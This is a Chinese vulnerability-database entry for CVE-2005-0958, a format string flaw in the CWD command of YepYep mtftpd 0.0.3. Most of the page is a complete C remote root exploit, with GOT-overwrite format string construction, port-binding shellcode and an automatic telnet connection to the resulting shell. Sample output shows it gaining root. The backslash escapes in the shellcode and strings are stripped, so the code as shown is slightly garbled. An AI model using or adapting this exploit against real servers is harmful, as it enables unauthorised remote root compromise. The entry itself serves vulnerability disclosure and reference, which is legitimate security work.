YepYep MTFTPD CWD 格式化字符串漏洞

YepYep MTFTPD CWD 格式化字符串漏洞

漏洞ID 1108594 漏洞类型 格式化字符串
发布时间 2005-03-29 更新时间 2005-10-20
图片[1]-YepYep MTFTPD CWD 格式化字符串漏洞-安全小百科CVE编号 CVE-2005-0958
图片[2]-YepYep MTFTPD CWD 格式化字符串漏洞-安全小百科CNNVD-ID CNNVD-200505-388
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/902
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-388
|漏洞详情
YepYepmtftpd0.0.3的log.c中的log_do函数存在格式化字符串漏洞,在启用statistics选项的情况下,允许远程攻击者通过CWD命令执行任意代码。
|漏洞EXP
/*
	mtftpd <= 0.0.3 remote root exploit
/ 		by darkeagle

/	discovered by darkeagle - xx.10.04

/	(c) unl0ck research team [http://unl0ck.org]

/	greetz: unl0ckerZ, rosielloZ, nosystemZ, etc..

/	[darkeagle@localhost darkeagle]$ ./0x666-ftpd -a 127.0.0.1 -p beautifulgirlz -u darkeagle


	mtftpd <= 0.0.3 remote root exploit
	by darkeagle [http://unl0ck.org]

 	[`] GOT: 0x804fcb0
 	[`] Retaddr: 0xbffff8d8
 	[`] Username: darkeagle
 	[`] Password: beautifulgirlz
 	[`] IP: 127.0.0.1
 	[`] Port: 21
 	[`] Creating SOCKET structure...
	[+] Structure Done!
 	[`] Connecting...      OK!
 	[+] Sending LOGIN DATA
 	[+] Successfully logged!
 	[`] Creating EviL Data...      OK!
 	[`] Sending... OK!
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id; uname -a;
uid=0(root) gid=0(root) groups=0(root)
Linux localhost 2.6.3-7mdk #1 Wed Mar 17 15:56:42 CET 2004 i686 unknown unknown GNU/Linux
: command not found


/
 *--------------------------------------------*
/ mailto: darkeagle [at] linkin-park [dot] cc
         darkeagle [at] unl0ck [dot] org
/ *-------------------------------------------*

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 21
#define doit( b0, b1, b2, b3, addr )  { 
             b0 = (addr >> 24) & 0xff; 
             b1 = (addr >> 16) & 0xff; 
             b2 = (addr >>  8) & 0xff; 
             b3 = (addr      ) & 0xff; 
}

#define GOT_ADDR 0x0804fcb0
#define RETADDR 0xbffff8d8

char shellcode[] = //binds 2003 port
         "x31xc0x89xc3xb0x02xcdx80x38xc3x74x05x8dx43x01xcdx80"
         "x31xc0x89x45x10x40x89xc3x89x45x0cx40x89x45x08x8dx4d"
         "x08xb0x66xcdx80x89x45x08x43x66x89x5dx14x66xc7x45x16"
         "x07xd3x31xd2x89x55x18x8dx55x14x89x55x0cxc6x45x10x10"
         "xb0x66xcdx80x40x89x45x0cx43x43xb0x66xcdx80x43x89x45"
         "x0cx89x45x10xb0x66xcdx80x89xc3x31xc9xb0x3fxcdx80x41"
         "x80xf9x03x75xf6x31xd2x52x68x6ex2fx73x68x68x2fx2fx62"
         "x69x89xe3x52x53x89xe1xb0x0bxcdx80";

int usage ( char *proga )
{
	printf("nnmtftpd <= 0.0.3 remote root exploitn");
	printf("by darkeaglen");
	printf("nusage: %s <options>nnOptions:n-a <ip_address>n-p <password>n-u <username>n-g <gotaddr>n-r <retaddr>nn", proga);
	printf("EnJoY!nn");
	exit(0);
}

char *
build_un( unsigned int retaddr, unsigned int offset, unsigned int base, long figure )
{
  char * buf;
  unsigned int length = 128;
  unsigned char b0, b1, b2, b3;
  int start = 256;
  doit( b0, b1, b2, b3, retaddr );

  if ( !(buf = (char *)malloc(length * sizeof(char))) ) {
    fprintf( stderr, "Can't allocate buffer (%d)n", length );
    exit( -1 );
  }
  memset( buf, 0, length );

 b3 -= figure;
 b2 -= figure;
 b1 -= figure;
 b0 -= figure;

  snprintf( buf, length,
            "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
            b3 - (sizeof( size_t ) * 4) + start - base, offset,
            b2 - b3 + start, offset + 1,
            b1 - b2 + start, offset + 2,
            b0 - b1 + start, offset + 3 );

  return buf;
}

int
main( int argc, char * argv[] )
{
  char opt;
  char * fmt;
  char * endian;
  unsigned long locaddr, retaddr;
  unsigned int offset, base, align = 0;
  unsigned char b0, b1, b2, b3;
  int length, ch;
  char *username = NULL;
  char *password = NULL, *ip = NULL;
  char evil[3000];
  int f_got = 0;
  int f_retaddr = 0;
  char databuf[300];
  struct sockaddr_in final;
  int Socket;
  char exec[300];
  char recva[200];

if ( argc < 6 ) { usage(argv[0]); }
	printf("nnmtftpd <= 0.0.3 remote root exploitn");
	printf("by darkeagle [http://unl0ck.org]n");
while ((opt = getopt(argc, argv,"p:u:a:g:r:")) != EOF) {
		switch (opt) {
			case 'p':
				password = optarg;
				break;
			case 'a':
				ip = optarg;
				break;
			case 'g':
				f_got = strtoul(optarg,NULL,0);
				break;
			case 'r':
				f_retaddr = strtoul(optarg,NULL,0);
				break;
			case 'u':
				username = optarg;
				break;
			default:
				usage(argv[0]);
				break;
		}
	}

if ( f_got == 0 || f_retaddr == 0 )
{
	f_got = GOT_ADDR;
	f_retaddr = RETADDR;
}

printf("n [`] GOT: 0x%xn [`] Retaddr: 0x%xn [`] Username: %sn [`] Password: %sn [`] IP: %sn [`] Port: %dn", f_got, f_retaddr, username, password, ip, 21);

printf(" [`] Creating SOCKET structure...n");

final.sin_family = AF_INET;
final.sin_port = htons(PORT);
final.sin_addr.s_addr = inet_addr(ip);

Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

printf(" [+] Structure Done!n");

printf(" [`] Connecting...t");

if ( connect(Socket, (struct sockaddr*)&final, sizeof(final)) == -1 ) { printf("FAILED!n"); exit(0); }

printf("OK!n");

printf(" [+] Sending LOGIN DATAn");

snprintf(databuf, 300, "USER %srnrnPASS %srnrn", username, password);

send(Socket, databuf, strlen(databuf), 0);
recv(Socket, recva, sizeof(recva), 0);

if ( strstr(recva, "230" ) ) { printf(" [+] Successfully logged!n"); } else {
printf(" [-] Invalid login or password!nn");
exit(0); }

printf(" [`] Creating EviL Data...t");
  length = ( sizeof( size_t ) * 16 ) + 1;

  if ( !(endian = (char *)malloc(length * sizeof(char))) ) {
    fprintf( stderr, "Can't allocate buffer (%d)n", length );
    exit( -1 );
  }
  memset( endian, 0, length );

  ch      = 0;
  locaddr = f_got; // syslog GOT
  retaddr = f_retaddr; // return address to shellcode
  offset  = 12; // offset to 0x2e414141 - CWD AAAA%12$x
  base    = 4;
  //locaddr += 0x4;

  doit( b0, b1, b2, b3, locaddr );

  if ( base%4 ) {
    align = 4 - ( base%4 );
    base += align;
  }

        strcat(endian, "U");

	snprintf( endian+strlen(endian), length,
              "%c%c%c%c"
              "%c%c%c%c"
              "%c%c%c%c"
              "%c%c%c%c",
              b3, b2, b1, b0,
              b3 + 1, b2, b1, b0,
              b3 + 2, b2, b1, b0,
              b3 + 3, b2, b1, b0 );

    fmt = build_un( retaddr, offset, base, 0xF + 0x1 );

    memset(fmt+strlen(fmt), 0x42, 48);
    strcat(fmt, shellcode);
    sprintf(evil, "CWD %srnrn", fmt);

if ( strlen(evil) >= 256 ) { printf("FAILED!n"); exit(0); }

	printf("OK!n");
	printf(" [`] Sending...t");
    send(Socket, evil, strlen(evil), 0);
printf("OK!n");
sprintf(exec, "telnet %s 2003n", ip);
printf(" [+] Connecting to shell...t");
sleep(2);
system(exec);
printf("FAILED!nn");
return 0;
}

// milw0rm.com [2005-03-29]
|参考资料

来源:MISC
链接:http://www.tripbit.org/advisories/TA-040305.txt
来源:BID
名称:12947
链接:http://www.securityfocus.com/bid/12947
来源:MISC
链接:http://www.securiteam.com/exploits/5KP0W0AF5K.html
来源:MISC
链接:http://unl0ck.org/files/papers/mtftpd.txt

相关推荐: FreeBSD FFS文件系统任意块读写漏洞

FreeBSD FFS文件系统任意块读写漏洞 漏洞ID 1203977 漏洞类型 边界条件错误 发布时间 2002-08-12 更新时间 2005-05-02 CVE编号 CVE-2002-0829 CNNVD-ID CNNVD-200208-127 漏洞平台…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享